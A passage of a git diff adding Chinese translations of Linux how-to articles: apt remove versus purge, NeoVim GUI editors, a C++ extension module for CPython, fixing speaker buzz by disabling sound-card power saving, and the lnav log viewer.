`apt purge`。 + +你可能会觉得很困惑,因为 `apt purge` 和 `apt remove` 看起来是一样的。 + +``` +sudo apt purge package_name +``` + +为什么会有两个如此像的命令来删除软件包呢?两者之间有什么不同呢?下面将为你揭晓。 + +### apt-remove 和 apt-purge 有什么不同? + +`apt-remove` 和 `apt-purge` 的相同之处就是都可以卸载软件包,但是运行 `apt-purge` 除了可以删除安装包之外,还可以清除相关的配置文件。这是两者之间唯一的不同点。要注意的是这两条命令都不能删除用户主目录中相关的应用程序文件。 + +你是否遇到过这样的情况,卸载一个软件然后重新安装,却发现之前的设置都还在。这是因为用 `apt remove` 不能删除该软件的相关配置文件。 + +#### 哪些东西被删除了?哪些还在? + +我分享一个使用 `apt remove` 和 `apt purge` 两个命令分别卸载 mplayer 这个软件的实际例子。重点是看每次操作后还残余哪些文件。 + +这是删除前的文件: + +![mplayer before removal][2] + +现在运行 `apt remove` 这个命令: + +![apt uninstall package ubuntu][3] + +下面的是还残留在系统中的文件: + +![files after mplayer removal][4] + +我们可以看到,有两个地方残留着 mplayer 的文件: `/etc` 和 `/home/abhishek`。 + +这次我们重新安装 mplayer,然后用 `apt purge` 来卸载软件。 + +![apt purge command][5] + +现在让我们看看与 mplayer 相关的文件: + +![files after mplayer removal][6] + +我们可以看到 `/etc` 目录下的文件已经没有了。 + +但是在主目录中的文件呢?`apt purge` 会删除它们吗? + +答案是否定的。`apt` 命令不会删除主目录中的配置文件。所以它们仍然在系统中,除非你手动删除。但是这些文件所占的空间真的很小,几乎不占磁盘空间。 + +值得注意的是,不是所有的软件在主目录或者 `/etc` 目录下都有配置文件。 + +#### 使用 apt remove 或者 apt purge 的效果 + +我能想到的一个实际例子就是 Discord,你用 deb 文件 [在 Ubuntu 上安装了 Discord][7]。然后登录自己的账号,之后又卸载并重新用 deb 文件安装。 + +现在如果你打开 Discord,你会发现你的账号自动登录了。是不是觉得很奇怪? + +这是个功能,像一些软件,比如 Discord、VirtualBox,它们会提供更新,就是卸载现在的版本然后下载新的(尽管你不知道它内部怎么进行的),但是它在卸载的时候,这些软件的配置文件没有被删除,所以等你打开这些软件的时候就会自动登录。 + +当你想卸载一个软件,但是想保留你过去使用该软件留下的配置文件的时候,你就可以用 `apt remove`。 + +但是,有时候用它不能满足你的需求,比如当你没有配置好一个软件的时候,你想要重新开始,这个时候用 `apt purge` 就比较合适。 + +#### 运行 apt purge 是否可以用通配符删除? + +当你删除一个包的时候,它会提示 `removing package-name*`。这意味着它会删除以这个包名开头的所有文件。 + +![apt purge wild card][8] + +我在手册页之类的文档中没有找到关于这个问题的答案。所以我自己做了一个小测试,我安装了 espeak 和 espeak-ng 这两个软件,espeak* 应该可以通配扩展到 espeak-ng。 + +但是当我用 `apt purge` 删除 espeak 包时,espeak-ng 包还在,没有被一并删除。因此,这似乎是有一种防止通配符的扩展的机制。 + +### 那么,你应该使用 apt remove 还是 apt purge 呢? + +很少有人会一直使用 `apt purge`。 + +在我看来,一般清况下,用 `apt remove` 就可以了,但是当你想删除那些自定义配置文件时,你就得用 `apt purge`。 + +不管是用 `apt remove` 还是 `apt purge`,你都需要从用户的主目录中删除残余的配置文件,并运行 `apt autoremove` 来清除任何依赖的包。 + +现在到你啦。你现在对 `apt remove` 和 `apt purge` 的区别更加了解吗?你更喜欢使用哪一个呢? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-remove/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[Tingze-G](https://github.com/Tingze-G) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/apt-remove/ +[2]: https://itsfoss.com/content/images/wordpress/2022/11/mplayer-before-removal.png +[3]: https://itsfoss.com/content/images/wordpress/2022/11/apt-uninstall-package-ubuntu.png +[4]: https://itsfoss.com/content/images/wordpress/2022/11/files-after-mplayer-removal.png +[5]: https://itsfoss.com/content/images/wordpress/2022/11/apt-purge-command.png +[6]: https://itsfoss.com/content/images/wordpress/2022/11/files-after-apt-purge.png +[7]: https://itsfoss.com/install-discord-linux/ +[8]: https://itsfoss.com/content/images/wordpress/2022/11/apt-purge-wild-card.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/19/113744ucqk6f69t4hbi8h8.jpg \ No newline at end of file diff --git a/published/202301/20221124.0 ⭐️ 5 NeoVim GUI Editors You Could Try If You are Not a Total Terminal Junkie.md b/published/202301/20221124.0 ⭐️ 5 NeoVim GUI Editors You Could Try If You are Not a Total Terminal Junkie.md new file mode 100644 index 0000000000..1c79bdf475 --- /dev/null +++ b/published/202301/20221124.0 ⭐️ 5 NeoVim GUI Editors You Could Try If You are Not a Total Terminal Junkie.md @@ -0,0 +1,143 @@ +[#]: subject: "5 NeoVim GUI Editors You Could Try If You are Not a Total Terminal Junkie" +[#]: via: "https://itsfoss.com/neovim-gui-editors/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15455-1.html" + +你可以尝试的 5 个 NeoVim GUI 编辑器 +====== + +![][0] + +Vim 很不错,但 NeoVim 更新一些,甚至更棒。Vim 和 NeoVim 都是基于终端的文本编辑器,具有类似的功能。 + +如果你是一个习惯于使用 [像 VS Code 这样的 GUI 文本编辑器][1] 的人,并且希望拥有 NeoVim 提供的类似功能,你应该了解一下这些 GUI 编辑器。 + +虽然我知道你可以把 NeoVim 作为你目前的文本编辑器的插件,但直接使用 NeoVim 工作要比管理插件更有效和方便。 + +在选择 NeoVim 的 GUI 时,有一些不同的选择,我把一些最好的 GUI 列在下面: + +### 1、Neovide + +![neovide][2] + +主要特点: + +- 动画光标 +- 平滑滚动 +- 动画窗口 +- 模糊的浮动窗口 +- 支持表情符号 + +[Neovide][3] 旨在成为一个简单的 NeoVim GUI。 + +虽然你不会看到很多图形元素,它只是增加了一些诸如动画之类的 GUI 功能。它使用了一个叫 Skulpin 的库来渲染动画。 + +而我在使用 Neovide 时最喜欢的地方是它拥有一个动画光标和平滑滚动。你看一看这个就明白了: + +![][3a] + +看起来很酷。对吗? + +### 2、Neovim Qt + +![neovim Qt][4] + +主要特点: + +- 悬停功能 +- 多个 GUI 标签 +- 自动制表符补完 +- 跨平台支持 + +顾名思义,[Neovim Qt][5] 是用 Qt5 库构建的,你会经常看到它在 KDE 中使用。它没有太多花哨的东西,只是增加了一些额外的 GUI 功能,如多个标签,自动制表符补完等。 + +因此,如果你已经在使用 Qt5 库,并希望为 NeoVim 提供一个精简的 GUI,它将工作的很好,并为你省去一些依赖安装。 + +推荐: + +> **[Vim vs Nano:你应该选择哪个?][6]** + +### 3、Uivonim + +![uivonim][7] + +主要特点: + +- WebGL GPU 渲染和多线程 +- 支持 VSCode 扩展 +- Nyancat(经典猫咪动画的 ANSI 文本程序) +- 悬停和代码动作 + +[Uivonim][8] 是 Veonim(一个建立在 VSCode 插件和 NeoVim 上的简单 IDE)的复刻版,采用 Electron 框架编写,如果你从 VSCode 转换过来,它是一个完美的选择。 + +而 Uivonim 的唯一目标是提供丰富的 NeoVim 体验,支持 NeoVim 的最新功能,包括浮动窗口、内置 LSP 等等。你不需要依赖 VSCode 扩展来获得这些功能。 + +### 4、FVim + +![fvim][9] + +主要特点: + +- 脱离窗口(使用 `Ctrl+w`,`GE`) +- 自定义弹出式菜单条目图标 +- 支持 HiDPI +- GPU 加速 + +[FVim][10] 是一个用 F# + Avalonia 构建的 NeoVim 的跨平台 GUI,带有一些突破性的功能,如高性能渲染(在 4K 显示器上支持 60FPS)。 + +而我经常使用脱离窗口的功能,因为我更喜欢为不同的文本文件设置独立的窗口。另外,如果你是一个资深的远程用户,FVim 也不会让你失望。 + +### 5、Goneovim + +![goneovim][11] + +主要特点: + +- 支持一个带有 Bash 和 Zsh 的终端 +- 迷你地图 +- 动画光标 +- HiDPI 缩放 +- 外部浮动窗口 + +顾名思义,[Goneovim][12] 是用 Go 语言编写的,是 Gonvim 的一个复刻品。它提供了足够的 GUI 功能来完成你的工作,如动画光标、像素级滚动等。 + +而且它在让你获得基本的文本编辑功能方面也并不差,比如对文本文件的拖放支持。 + +### 总结 + +这是我对 NeoVim 的图形用户界面的一些好的选择,我希望你能找到你想要的东西。 + +如果我错过了任何你喜欢的东西,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/neovim-gui-editors/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[2]: https://itsfoss.com/content/images/wordpress/2022/11/neovide.png +[3]: https://neovide.dev/index.html +[3a]: https://itsfoss.com/content/images/wordpress/2022/11/neovide.gif +[4]: https://itsfoss.com/content/images/wordpress/2022/11/neovim-qt.png +[5]: https://github.com/equalsraf/neovim-qt +[6]: https://itsfoss.com/vim-vs-nano/ +[7]: https://itsfoss.com/content/images/wordpress/2022/11/uivonim.png +[8]: https://github.com/smolck/uivonim +[9]: https://itsfoss.com/content/images/wordpress/2022/11/fvim-1.png +[10]: https://github.com/yatli/fvim +[11]: https://itsfoss.com/content/images/wordpress/2022/11/goneovim-1.png +[12]: https://github.com/akiyosi/goneovim +[13]: https://itsfoss.com/install-latest-vim-ubuntu/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/18/160357g9mrmohow8wm68iw.jpg \ No newline at end of file diff --git a/published/202301/20221124.4 ⭐️⭐️⭐️ Write a C++ extension module for Python.md b/published/202301/20221124.4 ⭐️⭐️⭐️ Write a C++ extension module for Python.md new file mode 100644 index 0000000000..5f426b7f7d --- /dev/null +++ b/published/202301/20221124.4 ⭐️⭐️⭐️ Write a C++ extension module for Python.md @@ -0,0 +1,323 @@ +[#]: subject: "Write a C++ extension module for Python" +[#]: via: "https://opensource.com/article/22/11/extend-c-python" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15405-1.html" + +为 Python 写一个 C++ 扩展模块 +====== + +![][0] + +> 使用 C 扩展为 Python 提供特定功能。 + +在前一篇文章中,我介绍了 [六个 Python 解释器][1]。在大多数系统上,CPython 是默认的解释器,而且根据民意调查显示,它还是最流行的解释器。Cpython 的独有功能是使用扩展 API 用 C 语言编写 Python 模块。用 C 语言编写 Python 模块允许你将计算密集型代码转移到 C,同时保留 Python 的易用性。 + +在本文中,我将向你展示如何编写一个 C++ 扩展模块。使用 C++ 而不是 C,因为大多数编译器通常都能理解这两种语言。我必须提前说明缺点:以这种方式构建的 Python 模块不能移植到其他解释器中。它们只与 CPython 解释器配合工作。因此,如果你正在寻找一种可移植性更好的与 C 语言模块交互的方式,考虑下使用 [ctypes][2] 模块。 + +### 源代码 + +和往常一样,你可以在 [GitHub][3] 上找到相关的源代码。仓库中的 C++ 文件有以下用途: + +- `my_py_module.cpp`: Python 模块 `MyModule` 的定义 +- `my_cpp_class.h`: 一个头文件 - 只有一个暴露给 Python 的 C++ 类 +- `my_class_py_type.h/cpp`: Python 形式的 C++ 类 +- `pydbg.cpp`: 用于调试的单独应用程序 + +本文构建的 Python 模块不会有任何实际用途,但它是一个很好的示例。 + +### 构建模块 + +在查看源代码之前,你可以检查它是否能在你的系统上编译。[我使用 CMake][4] 来创建构建的配置信息,因此你的系统上必须安装 CMake。为了配置和构建这个模块,可以让 Python 去执行这个过程: + +``` +$ python3 setup.py build +``` + +或者手动执行: + +``` +$ cmake -B build +$ cmake --build build +``` + +之后,在 `/build` 子目录下你会有一个名为 `MyModule. so` 的文件。 + +### 定义扩展模块 + +首先,看一下 `my_py_module.cpp` 文件,尤其是 `PyInit_MyModule` 函数: + +``` +PyMODINIT_FUNC +PyInit_MyModule(void) { + PyObject* module = PyModule_Create(&my_module); + + PyObject *myclass = PyType_FromSpec(&spec_myclass); + if (myclass == NULL){ + return NULL; + } + Py_INCREF(myclass); + + if(PyModule_AddObject(module, "MyClass", myclass) < 0){ + Py_DECREF(myclass); + Py_DECREF(module); + return NULL; + } + return module; +} +``` + +这是本例中最重要的代码,因为它是 CPython 的入口点。一般来说,当一个 Python C 扩展被编译并作为共享对象二进制文件提供时,CPython 会在同名二进制文件中(`.so`)搜索 `PyInit_` 函数,并在试图导入时执行它。 + +无论是声明还是实例,所有 Python 类型都是 [PyObject][5] 的一个指针。在此函数的第一部分中,`module` 通过 `PyModule_Create(...)` 创建的。正如你在 `module` 详述(`my_py_module`,同名文件)中看到的,它没有任何特殊的功能。 + +之后,调用 [PyType_FromSpec][6] 为自定义类型 `MyClass` 创建一个 Python [堆类型][7] 定义。一个堆类型对应于一个 Python 类,然后将它赋值给 `MyModule` 模块。 + +_注意,如果其中一个函数返回失败,则必须减少以前创建的复制对象的引用计数,以便解释器删除它们。_ + +### 指定 Python 类型 + +`MyClass` 详述在 [my_class_py_type.h][8] 中可以找到,它作为 [PyType_Spec][9] 的一个实例: + +``` +static PyType_Spec spec_myclass = { + "MyClass", // name + sizeof(MyClassObject) + sizeof(MyClass), // basicsize + 0, // itemsize + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, // flags + MyClass_slots // slots +}; +``` + +它定义了一些基本类型信息,它的大小包括 Python 表示的大小(`MyClassObject`)和普通 C++ 类的大小(`MyClass`)。`MyClassObject` 定义如下: + +``` +typedef struct { + PyObject_HEAD + int m_value; + MyClass* m_myclass; +} MyClassObject; +``` + +Python 表示的话就是 [PyObject][5] 类型,由 `PyObject_HEAD` 宏和其他一些成员定义。成员 `m_value` 视为普通类成员,而成员 `m_myclass` 只能在 C++ 代码内部访问。 + +[PyType_Slot][10] 定义了一些其他功能: + +``` +static PyType_Slot MyClass_slots[] = { + {Py_tp_new, (void*)MyClass_new}, + {Py_tp_init, (void*)MyClass_init}, + {Py_tp_dealloc, (void*)MyClass_Dealloc}, + {Py_tp_members, MyClass_members}, + {Py_tp_methods, MyClass_methods}, + {0, 0} /* Sentinel */ +}; +``` + +在这里,设置了一些初始化和析构函数的跳转,还有普通的类方法和成员,还可以设置其他功能,如分配初始属性字典,但这是可选的。这些定义通常以一个哨兵结束,包含 `NULL` 值。 + +要完成类型详述,还包括下面的方法和成员表: + +``` +static PyMethodDef MyClass_methods[] = { + {"addOne", (PyCFunction)MyClass_addOne, METH_NOARGS, PyDoc_STR("Return an incrmented integer")}, + {NULL, NULL} /* Sentinel */ +}; + +static struct PyMemberDef MyClass_members[] = { + {"value", T_INT, offsetof(MyClassObject, m_value)}, + {NULL} /* Sentinel */ +}; +``` + +在方法表中,定义了 Python 方法 `addOne`,它指向相关的 C++ 函数 `MyClass_addOne`。它充当了一个包装器,它在 C++ 类中调用 `addOne()` 方法。 + +在成员表中,只有一个为演示目的而定义的成员。不幸的是,在 [PyMemberDef][12] 中使用的 [offsetof][11] 不允许添加 C++ 类型到 `MyClassObject`。如果你试图放置一些 C++ 类型的容器(如 [std::optional][13]),编译器会抱怨一些内存布局相关的警告。 + +### 初始化和析构 + +`MyClass_new` 方法只为 `MyClassObject` 提供一些初始值,并为其类型分配内存: + +``` +PyObject *MyClass_new(PyTypeObject *type, PyObject *args, PyObject *kwds){ + std::cout << "MtClass_new() called!" << std::endl; + + MyClassObject *self; + self = (MyClassObject*) type->tp_alloc(type, 0); + if(self != NULL){ // -> 分配成功 + // 赋初始值 + self->m_value = 0; + self->m_myclass = NULL; + } + return (PyObject*) self; +} +``` + +实际的初始化发生在 `MyClass_init` 中,它对应于 Python 中的 [\_\_init__()][14] 方法: + +``` +int MyClass_init(PyObject *self, PyObject *args, PyObject *kwds){ + + ((MyClassObject *)self)->m_value = 123; + + MyClassObject* m = (MyClassObject*)self; + m->m_myclass = (MyClass*)PyObject_Malloc(sizeof(MyClass)); + + if(!m->m_myclass){ + PyErr_SetString(PyExc_RuntimeError, "Memory allocation failed"); + return -1; + } + + try { + new (m->m_myclass) MyClass(); + } catch (const std::exception& ex) { + PyObject_Free(m->m_myclass); + m->m_myclass = NULL; + m->m_value = 0; + PyErr_SetString(PyExc_RuntimeError, ex.what()); + return -1; + } catch(...) { + PyObject_Free(m->m_myclass); + m->m_myclass = NULL; + m->m_value = 0; + PyErr_SetString(PyExc_RuntimeError, "Initialization failed"); + return -1; + } + + return 0; +} +``` + +如果你想在初始化过程中传递参数,必须在此时调用 [PyArg_ParseTuple][15]。简单起见,本例将忽略初始化过程中传递的所有参数。在函数的第一部分中,`PyObject` 指针(`self`)被强转为 `MyClassObject` 类型的指针,以便访问其他成员。此外,还分配了 C++ 类的内存,并执行了构造函数。 + +注意,为了防止内存泄漏,必须仔细执行异常处理和内存分配(还有释放)。当引用计数将为零时,`MyClass_dealloc` 函数负责释放所有相关的堆内存。在文档中有一个章节专门讲述关于 C 和 C++ 扩展的内存管理。 + +### 包装方法 + +从 Python 类中调用相关的 C++ 类方法很简单: + +``` +PyObject* MyClass_addOne(PyObject *self, PyObject *args){ + assert(self); + + MyClassObject* _self = reinterpret_cast(self); + unsigned long val = _self->m_myclass->addOne(); + return PyLong_FromUnsignedLong(val); +} +``` + +同样,`PyObject` 参数(`self`)被强转为 `MyClassObject` 类型以便访问 `m_myclass`,它指向 C++ 对应类实例的指针。有了这些信息,调用 `addOne()` 类方法,并且结果以 [Python 整数对象][17] 返回。 + +### 3 种方法调试 + +出于调试目的,在调试配置中编译 CPython 解释器是很有价值的。详细描述参阅 [官方文档][18]。只要下载了预安装的解释器的其他调试符号,就可以按照下面的步骤进行操作。 + +#### GNU 调试器 + +当然,老式的 [GNU 调试器(GDB)][19] 也可以派上用场。源码中包含了一个 [gdbinit][20] 文件,定义了一些选项和断点,另外还有一个 [gdb.sh][21] 脚本,它会创建一个调试构建并启动一个 GDB 会话: + +![Gnu 调试器(GDB)对于 Python C 和 C++ 扩展非常有用][22] + +GDB 使用脚本文件 [main.py][23] 调用 CPython 解释器,它允许你轻松定义你想要使用 Python 扩展模块执行的所有操作。 + +#### C++ 应用 + +另一种方法是将 CPython 解释器嵌入到一个单独的 C++ 应用程序中。可以在仓库的 [pydbg.cpp][24] 文件中找到: + +``` +int main(int argc, char *argv[], char *envp[]) +{ + Py_SetProgramName(L"DbgPythonCppExtension"); + Py_Initialize(); + + PyObject *pmodule = PyImport_ImportModule("MyModule"); + if (!pmodule) { + PyErr_Print(); + std::cerr << "Failed to import module MyModule" << std::endl; + return -1; + } + + PyObject *myClassType = PyObject_GetAttrString(pmodule, "MyClass"); + if (!myClassType) { + std::cerr << "Unable to get type MyClass from MyModule" << std::endl; + return -1; + } + + PyObject *myClassInstance = PyObject_CallObject(myClassType, NULL); + + if (!myClassInstance) { + std::cerr << "Instantioation of MyClass failed" << std::endl; + return -1; + } + + Py_DecRef(myClassInstance); // invoke deallocation + return 0; +} +``` + +使用 [高级接口][25],可以导入扩展模块并对其执行操作。它允许你在本地 IDE 环境中进行调试,还能让你更好地控制传递或来自扩展模块的变量。 + +缺点是创建一个额外的应用程序的成本很高。 + +#### VSCode 和 VSCodium LLDB 扩展 + +使用像 [CodeLLDB][26] 这样的调试器扩展可能是最方便的调试选项。仓库包含了一些 VSCode/VSCodium 的配置文件,用于构建扩展,如 [task.json][27]、[CMake Tools][28] 和调用调试器([launch.json][29])。这种方法结合了前面几种方法的优点:在图形 IDE 中调试,在 Python 脚本文件中定义操作,甚至在解释器提示符中动态定义操作。 + +![VSCodium 有一个集成的调试器。][30] + +### 用 C++ 扩展 Python + +Python 的所有功能也可以从 C 或 C++ 扩展中获得。虽然用 Python 写代码通常认为是一件容易的事情,但用 C 或 C++ 扩展 Python 代码是一件痛苦的事情。另一方面,虽然原生 Python 代码比 C++ 慢,但 C 或 C++ 扩展可以将计算密集型任务提升到原生机器码的速度。 + +你还必须考虑 ABI 的使用。稳定的 ABI 提供了一种方法来保持旧版本 CPython 的向后兼容性,如 [文档][31] 所述。 + +最后,你必须自己权衡利弊。如果你决定使用 C 语言来扩展 Python 中的一些功能,你已经看到了如何实现它。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/extend-c-python + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/9/python-interpreters-2022 +[2]: https://docs.python.org/3/library/ctypes.html#module-ctypes +[3]: https://github.com/hANSIc99/PythonCppExtension +[4]: https://opensource.com/article/21/5/cmake +[5]: https://docs.python.org/release/3.9.1/c-api/structures.html?highlight=pyobject#c.PyObject +[6]: https://docs.python.org/3/c-api/type.html#c.PyType_FromSpec +[7]: https://docs.python.org/3/c-api/typeobj.html#heap-types +[8]: https://github.com/hANSIc99/PythonCppExtension/blob/main/my_class_py_type.h +[9]: https://docs.python.org/3/c-api/type.html#c.PyType_Spec +[10]: https://docs.python.org/release/3.9.1/c-api/type.html?highlight=pytype_slot#c.PyType_Slot +[11]: https://en.cppreference.com/w/cpp/types/offsetof +[12]: https://docs.python.org/release/3.9.1/c-api/structures.html?highlight=pymemberdef#c.PyMemberDef +[13]: https://en.cppreference.com/w/cpp/utility/optional +[14]: https://docs.python.org/3/library/dataclasses.html?highlight=__init__ +[15]: https://docs.python.org/3/c-api/arg.html#c.PyArg_ParseTuple +[16]: https://docs.python.org/3/c-api/memory.html +[17]: https://docs.python.org/3/c-api/long.html +[18]: https://docs.python.org/3/c-api/intro.html#debugging-builds +[19]: https://opensource.com/article/21/3/debug-code-gdb +[20]: https://github.com/hANSIc99/PythonCppExtension/blob/main/gdbinit +[21]: https://github.com/hANSIc99/PythonCppExtension/blob/main/gdb.sh +[22]: https://opensource.com/sites/default/files/2022-11/gdb_session_b_0.png +[23]: https://github.com/hANSIc99/PythonCppExtension/blob/main/main.py +[24]: https://github.com/hANSIc99/PythonCppExtension/blob/main/pydbg.cpp +[25]: https://docs.python.org/3/extending/embedding.html#very-high-level-embedding +[26]: https://github.com/vadimcn/vscode-lldb +[27]: https://github.com/hANSIc99/PythonCppExtension/blob/main/.vscode/tasks.json +[28]: https://github.com/microsoft/vscode-cmake-tools +[29]: https://github.com/hANSIc99/PythonCppExtension/blob/main/.vscode/launch.json +[30]: https://opensource.com/sites/default/files/2022-11/vscodium_debug_session.png +[31]: https://docs.python.org/3/c-api/stable.html +[0]: https://img.linux.net.cn/data/attachment/album/202301/02/173501o26htajatlpj0lqt.jpg \ No newline at end of file diff --git a/published/202301/20221126.1 ⭐️ How I Fixed Buzzing Noise Coming from Speakers in Linux.md b/published/202301/20221126.1 ⭐️ How I Fixed Buzzing Noise Coming from Speakers in Linux.md new file mode 100644 index 0000000000..70767163ae --- /dev/null +++ b/published/202301/20221126.1 ⭐️ How I Fixed Buzzing Noise Coming from Speakers in Linux.md @@ -0,0 +1,133 @@ +[#]: subject: "How I Fixed Buzzing Noise Coming from Speakers in Linux" +[#]: via: "https://itsfoss.com/buzzing-noise-speaker-linux" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15415-1.html" + +如何修复 Linux 中扬声器发出的嗡嗡声 +====== + +![][0] + +我使用笔记本电脑很长时间了,但最近才切换到台式机上,以便进行远程工作。 + +我注意到我的扬声器不断发出嗡嗡声。这很烦人,让我头疼。我开始着手解决这个问题。了解问题的根本原因非常有趣。 + +我将分享我在 Linux 中修复扬声器嗡嗡声的经验。我发现它可以在同一硬件上对 Ubuntu、Debian 和 Pop OS 都有效。 + +需要考虑的一件事是,如果本指南不适合你,你可能遇到了严重的硬件问题。对于大多数用户来说,给定的方案应该可以解决问题。 + +**在尝试修复之前** + +我试图让事情变得容易安全地遵循。你可以尝试临时修复,如果有效,则将更改永久化。但是,最好使用 Timeshift 制作系统快照。如果你在出现故障时很容易惊慌失措,你可以将系统恢复到之前的状态。 + +另外,检查你的声卡。在我的例子中,它是 `snd_hda_intel`。对于 USB 卡,它可以是 `snd_usb_audio`。你必须根据你的声卡更改命令。 + +``` +cat /proc/asound/modules +``` + +### Linux 中扬声器发出嗡嗡声的原因 + +梳理了无数的论坛帖子和网站后,我了解了问题的根本原因。这是因为扬声器中的电容放电。它可以通过关闭声卡的省电设置来解决。 + +通过关闭省电,你允许系统在这些电容放电时为其充电。这类似于在一直充电时使用电话。 + +你可以使用给定的命令检查你的系统是否启用了声卡的省电设置: + +``` +cat /sys/module/snd_hda_intel/parameters/power_save +``` + +![power saving setting in sound card making buzzing sound in linux][1] + +如果你像我一样输出是 `1`,那么省电功能已打开。因此,让我们看一下方案。 + +不用担心。这不会显著影响你的电池百分比,因为所示方法仅适用于声卡。 + +### 尝试修复嗡嗡声问题(临时) + +我之所以包括临时方法是为了确定嗡嗡声是由于电容放电引起的,还是存在严重的硬件问题。 + +如果此临时方案有效,你可以继续使用永久方案。 + +第一步是切换到 root 用户: + +``` +sudo su +``` + +然后,执行给定的命令,它应该停止嗡嗡声直到下次启动: + +``` +echo 0 > /sys/module/snd_hda_intel/parameters/power_save +``` + +如果你使用的是 **USB 声卡**,则必须将 `snd_hda_intel` 替换为 `snd_usb_audio`,如下所示: + +``` +echo 0 > /sys/module/snd_usb_audio/parameters/power_save +``` + +如果上述技巧解决了问题,那么你必须使变更永久化。否则,下次重启系统时更改将丢失。 + +### 修复嗡嗡声问题(永久) + +在这里,我将对内核参数进行更改。 + +将你的工作目录更改为 `/etc/modprobe.d`: + +``` +cd /etc/modprobe.d +``` + +现在,创建一个名为 `audio_disable_powersave.conf` 的新文件,并使用给定命令使用 nano 文本编辑器打开: + +``` +sudo nano audio_disable_powersave.conf +``` + +并在该文件中放入以下行以永久关闭声卡中的省电设置: + +``` +options snd_hda_intel power_save=0 +``` + +![fix buzzing sound in linux][2] + +对于 **USB 声卡**,你需要使用 `snd_usb_audio`: + +``` +options snd_usb_audio power_save=0 +``` + +现在,[保存更改并退出 Nano 文本编辑器][3] 并按 `Ctrl+X` 键。重启你的系统,你就可以享受无噪音的工作空间。 + +### 总结 + +本指南解释了嗡嗡声的原因以及如何直接解决该问题。 + +同样,除了电容放电之外,你可能还有其他问题,因此你应该始终尝试临时方法。 + +让我知道你是否能够以这种方式解决 Linux 中扬声器发出的嗡嗡声。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/buzzing-noise-speaker-linux + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/content/images/wordpress/2022/11/power-saving-setting-in-sound-card-making-buzzing-sound-in-linux.png +[2]: https://itsfoss.com/content/images/wordpress/2022/11/fix-buzzing-sound-in-linux.png +[3]: https://linuxhandbook.com/nano-save-exit/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/05/150250sqbeq35bh699r157.jpg \ No newline at end of file diff --git a/published/202301/20221127.0 ⭐️ lnav Advanced Log File Viewer for Linux Desktops and Servers.md b/published/202301/20221127.0 ⭐️ lnav Advanced Log File Viewer for Linux Desktops and Servers.md new file mode 100644 index 0000000000..60b7b2ba8a --- /dev/null +++ b/published/202301/20221127.0 ⭐️ lnav Advanced Log File Viewer for Linux Desktops and Servers.md @@ -0,0 +1,132 @@ +[#]: subject: "lnav: Advanced Log File Viewer for Linux Desktops and Servers" +[#]: via: "https://www.debugpoint.com/advanced-log-file-viewer-lnav-ubuntu-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15454-1.html" + +lnav: 用于 Linux 的高级日志文件浏览器 +====== + +![][0] + +> 如果你想调试或排除任何问题,你需要一个像 lnav 这样的高级日志文件查看器。它在任何 Linux 系统的终端都能创造奇迹。 + +### lnav: 日志文件查看器 + +`lnav` 可以即时解压缩所有的压缩日志文件,并将它们合并在一起进行漂亮的显示。显示是根据错误/警告的类型进行解析和格式化的,这有助于快速浏览成千上万的日志,特别是在服务器中。 + +在分析日志的时候,时间戳是非常重要的。所以 `lnav` 会根据时间戳合并多个日志,这对追踪系统问题很有帮助。 + +大多数重要的日志文件格式检测都是内置的,包括如下: + +- 通用网络访问日志Common Web Access Log格式 +- CUPS page_log +- Syslog +- Glog +- VMware ESXi/vCenter 日志 +- dpkg.log +- uwsgi +- “通用”:任何以时间戳开头的信息 +- Strace +- sudo +- GZIP、BZIP + +这还不是全部,`lnav` 还能实现以下功能,使其成为 Linux 系统的重要应用: + +- 根据正则表达式过滤消息 +- 错误日志的时间轴视图 +- 漂亮的打印视图,这有助于重新格式化 +- 使用 SQL 查询日志 +- 在搜索时,日志会实时更新 +- 通过正则表达式高亮显示语法(比如你想在整个日志中找出一个 IP 地址) +- 显示的日志中任何单词的 Tab 补全!! + +![lnav 在 ubuntu 中运行][1] + 